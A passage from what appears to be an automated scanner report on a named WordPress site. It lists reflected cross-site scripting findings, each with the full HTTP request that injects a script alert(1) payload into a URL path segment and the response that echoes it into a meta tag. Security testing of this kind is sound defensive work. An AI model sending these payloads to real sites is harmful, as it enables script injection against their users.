Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:19 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-contentcbe88\"><script>alert(1)</script>f7328fe3fd/plugins/shashin/display/highslide_settings.js?ver=2.6.3"/>
...[SNIP]...

1.269. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide_settings.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide_settings.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e59ed"><script>alert(1)</script>e7457cb1118 was submitted in the REST URL parameter 2. This input was echoed as e59ed\"><script>alert(1)</script>e7457cb1118 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/pluginse59ed"><script>alert(1)</script>e7457cb1118/shashin/display/highslide_settings.js?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:41 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/pluginse59ed\"><script>alert(1)</script>e7457cb1118/shashin/display/highslide_settings.js?ver=2.6.3"/>
...[SNIP]...

1.270. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide_settings.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide_settings.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7963"><script>alert(1)</script>8fab0df5b25 was submitted in the REST URL parameter 3. This input was echoed as f7963\"><script>alert(1)</script>8fab0df5b25 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashinf7963"><script>alert(1)</script>8fab0df5b25/display/highslide_settings.js?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:53 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:55 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashinf7963\"><script>alert(1)</script>8fab0df5b25/display/highslide_settings.js?ver=2.6.3"/>
...[SNIP]...

1.271. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide_settings.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide_settings.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 571fd"><script>alert(1)</script>1f6db69054f was submitted in the REST URL parameter 4. This input was echoed as 571fd\"><script>alert(1)</script>1f6db69054f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display571fd"><script>alert(1)</script>1f6db69054f/highslide_settings.js?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:07 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display571fd\"><script>alert(1)</script>1f6db69054f/highslide_settings.js?ver=2.6.3"/>
...[SNIP]...

1.272. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide_settings.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide_settings.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13a58"><script>alert(1)</script>056b9f92904 was submitted in the REST URL parameter 5. This input was echoed as 13a58\"><script>alert(1)</script>056b9f92904 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslide_settings.js13a58"><script>alert(1)</script>056b9f92904?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide_settings.js13a58\"><script>alert(1)</script>056b9f92904?ver=2.6.3"/>
...[SNIP]...

1.273. http://www.vogel-nest.de/wp-content/plugins/shashin/display/shashin.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/shashin.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 838d6"><script>alert(1)</script>4da7ad5524 was submitted in the REST URL parameter 1. This input was echoed as 838d6\"><script>alert(1)</script>4da7ad5524 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content838d6"><script>alert(1)</script>4da7ad5524/plugins/shashin/display/shashin.css?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:06 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18924

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content838d6\"><script>alert(1)</script>4da7ad5524/plugins/shashin/display/shashin.css?ver=2.6.3"/>
...[SNIP]...

1.274. http://www.vogel-nest.de/wp-content/plugins/shashin/display/shashin.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/shashin.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db61d"><script>alert(1)</script>79fc3cacd0a was submitted in the REST URL parameter 2. This input was echoed as db61d\"><script>alert(1)</script>79fc3cacd0a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/pluginsdb61d"><script>alert(1)</script>79fc3cacd0a/shashin/display/shashin.css?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:33 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:34 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/pluginsdb61d\"><script>alert(1)</script>79fc3cacd0a/shashin/display/shashin.css?ver=2.6.3"/>
...[SNIP]...

1.275. http://www.vogel-nest.de/wp-content/plugins/shashin/display/shashin.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/shashin.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23cfd"><script>alert(1)</script>348f764e2cb was submitted in the REST URL parameter 3. This input was echoed as 23cfd\"><script>alert(1)</script>348f764e2cb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin23cfd"><script>alert(1)</script>348f764e2cb/display/shashin.css?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:55 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin23cfd\"><script>alert(1)</script>348f764e2cb/display/shashin.css?ver=2.6.3"/>
...[SNIP]...

1.276. http://www.vogel-nest.de/wp-content/plugins/shashin/display/shashin.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/shashin.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5834f"><script>alert(1)</script>ef4c6c05b06 was submitted in the REST URL parameter 4. This input was echoed as 5834f\"><script>alert(1)</script>ef4c6c05b06 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display5834f"><script>alert(1)</script>ef4c6c05b06/shashin.css?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display5834f\"><script>alert(1)</script>ef4c6c05b06/shashin.css?ver=2.6.3"/>
...[SNIP]...

1.277. http://www.vogel-nest.de/wp-content/plugins/shashin/display/shashin.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/shashin.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47855"><script>alert(1)</script>58e885fcf40 was submitted in the REST URL parameter 5. This input was echoed as 47855\"><script>alert(1)</script>58e885fcf40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/shashin.css47855"><script>alert(1)</script>58e885fcf40?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:34 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:34 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/shashin.css47855\"><script>alert(1)</script>58e885fcf40?ver=2.6.3"/>
...[SNIP]...

1.278. http://www.vogel-nest.de/wp-content/plugins/sociable/sociable.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/sociable/sociable.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 759fd"><script>alert(1)</script>3db32673c79 was submitted in the REST URL parameter 1. This input was echoed as 759fd\"><script>alert(1)</script>3db32673c79 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content759fd"><script>alert(1)</script>3db32673c79/plugins/sociable/sociable.css?ver=3.0.5 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:07 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18914

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content759fd\"><script>alert(1)</script>3db32673c79/plugins/sociable/sociable.css?ver=3.0.5"/>
...[SNIP]...

1.279. http://www.vogel-nest.de/wp-content/plugins/sociable/sociable.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/sociable/sociable.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f465"><script>alert(1)</script>aa14411e2c9 was submitted in the REST URL parameter 2. This input was echoed as 5f465\"><script>alert(1)</script>aa14411e2c9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins5f465"><script>alert(1)</script>aa14411e2c9/sociable/sociable.css?ver=3.0.5 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:35 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:36 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18914

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins5f465\"><script>alert(1)</script>aa14411e2c9/sociable/sociable.css?ver=3.0.5"/>
...[SNIP]...

1.280. http://www.vogel-nest.de/wp-content/plugins/sociable/sociable.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/sociable/sociable.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f198"><script>alert(1)</script>7b3633d48 was submitted in the REST URL parameter 3. This input was echoed as 2f198\"><script>alert(1)</script>7b3633d48 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/sociable2f198"><script>alert(1)</script>7b3633d48/sociable.css?ver=3.0.5 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:04 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18910

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/sociable2f198\"><script>alert(1)</script>7b3633d48/sociable.css?ver=3.0.5"/>
...[SNIP]...

1.281. http://www.vogel-nest.de/wp-content/plugins/sociable/sociable.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/sociable/sociable.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b943a"><script>alert(1)</script>8f26ed15308 was submitted in the REST URL parameter 4. This input was echoed as b943a\"><script>alert(1)</script>8f26ed15308 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/sociable/sociable.cssb943a"><script>alert(1)</script>8f26ed15308?ver=3.0.5 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:22 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18914

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

